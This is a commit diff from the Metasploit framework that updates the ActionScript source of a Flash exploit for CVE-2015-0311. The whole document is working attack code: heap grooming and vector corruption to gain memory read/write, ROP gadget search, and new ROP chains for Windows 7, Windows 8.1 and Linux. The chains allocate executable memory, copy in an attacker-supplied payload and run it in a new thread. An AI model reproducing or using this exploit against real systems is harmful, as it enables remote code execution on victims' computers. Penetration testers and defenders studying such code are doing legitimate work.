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metasploit-framework
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Update AS source code

This commit is contained in:
jvazquez-r7 2015-06-04 12:12:49 -05:00
parent ab68d8429b
commit 75454f05c4
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GPG Key ID: 38D99152B9352D83
4 changed files with 196 additions and 52 deletions
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36
external/source/exploits/CVE-2015-0311/Exploit.as vendored
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@ -24,22 +24,22 @@ package
private var ba:ByteArray = new ByteArray()
private var exploiter:Exploiter
private var b64:Base64Decoder = new Base64Decoder()
private var payload:String
private var payload:ByteArray
private var platform:String
private var massage:Vector.<Object> = new Vector.<Object>(10000)
private var os:String
public function Exploit()
{
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
b64.decode(b64_payload)
payload = b64.toByteArray()
for (var i:uint = 0; i < massage.length / 2; i++) {
massage[i] = new Vector.<uint>(0x3e0)
}
// defrag
for (var i:uint = 0; i < 10000; i++) new Vector.<uint>(0x3e0)
for (i = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
ba.compress()
@ -49,10 +49,8 @@ package
try {
ba.uncompress()
} catch (e:Error) { }
for (i = massage.length / 2; i < massage.length; i++) {
massage[i] = new Vector.<uint>(0x3e0)
}
uv = new Vector.<uint>(0x3e0)
uv[0] = 0
var test:uint = li32(0)
if (test == 0x3e0) {
@ -61,22 +59,8 @@ package
Logger.log('[*] Exploit - corruption fail: ' + test.toString(16))
return // something failed
}
for (i = 0; i < massage.length; i++) {
if (massage[i].length == 0x3e0) {
massage[i] = null
} else {
Logger.log('[*] Exploit - corrupted vector found at ' + i)
uv = massage[i]
uv[0] = 0
}
}
if (uv.length != 0xffffffff)
return
exploiter = new Exploiter(this, platform, payload, uv)
exploiter = new Exploiter(this, platform, os, payload, uv)
}
}

9
external/source/exploits/CVE-2015-0311/ExploitByteArray.as vendored
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@ -31,7 +31,6 @@ package
public function lets_ready():void
{
Logger.log("[*] ExploitByteArray - lets_ready()")
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
@ -40,7 +39,6 @@ package
public function is_ready():Boolean
{
Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16))
if (ba.length == 0xffffffff)
return true
@ -72,10 +70,15 @@ package
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}

188
external/source/exploits/CVE-2015-0311/Exploiter.as vendored
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@ -9,8 +9,9 @@ package
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:String
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
@ -23,13 +24,14 @@ package
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(80000)
private var spray:Vector.<Object> = new Vector.<Object>(89698)
public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.<uint>):void
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
@ -133,12 +135,19 @@ package
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux")
if (platform == "linux") {
do_rop_linux()
else if (platform == "win")
do_rop_windows()
else
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
@ -147,11 +156,15 @@ package
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var winexec:uint = pe.procedure("WinExec", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
@ -169,16 +182,101 @@ package
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, winexec)
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
eba.write(0, buffer + 0x10)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
@ -192,6 +290,8 @@ package
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
@ -204,9 +304,21 @@ package
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 8, 'r', true) // type
eba.write(payload_address + 0xc, payload, true) // command
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
@ -221,13 +333,49 @@ package
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to popen()
eba.write(stack_address + 0x18068, popen)
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// popen() argument
eba.write(0, payload_address + 0xc)
eba.write(0, payload_address + 8)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')

15
external/source/exploits/CVE-2015-0311/PE.as vendored
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@ -11,7 +11,6 @@ package
public function base(addr:uint):uint
{
Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16))
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
@ -54,10 +53,20 @@ package
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break
return addr + i
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}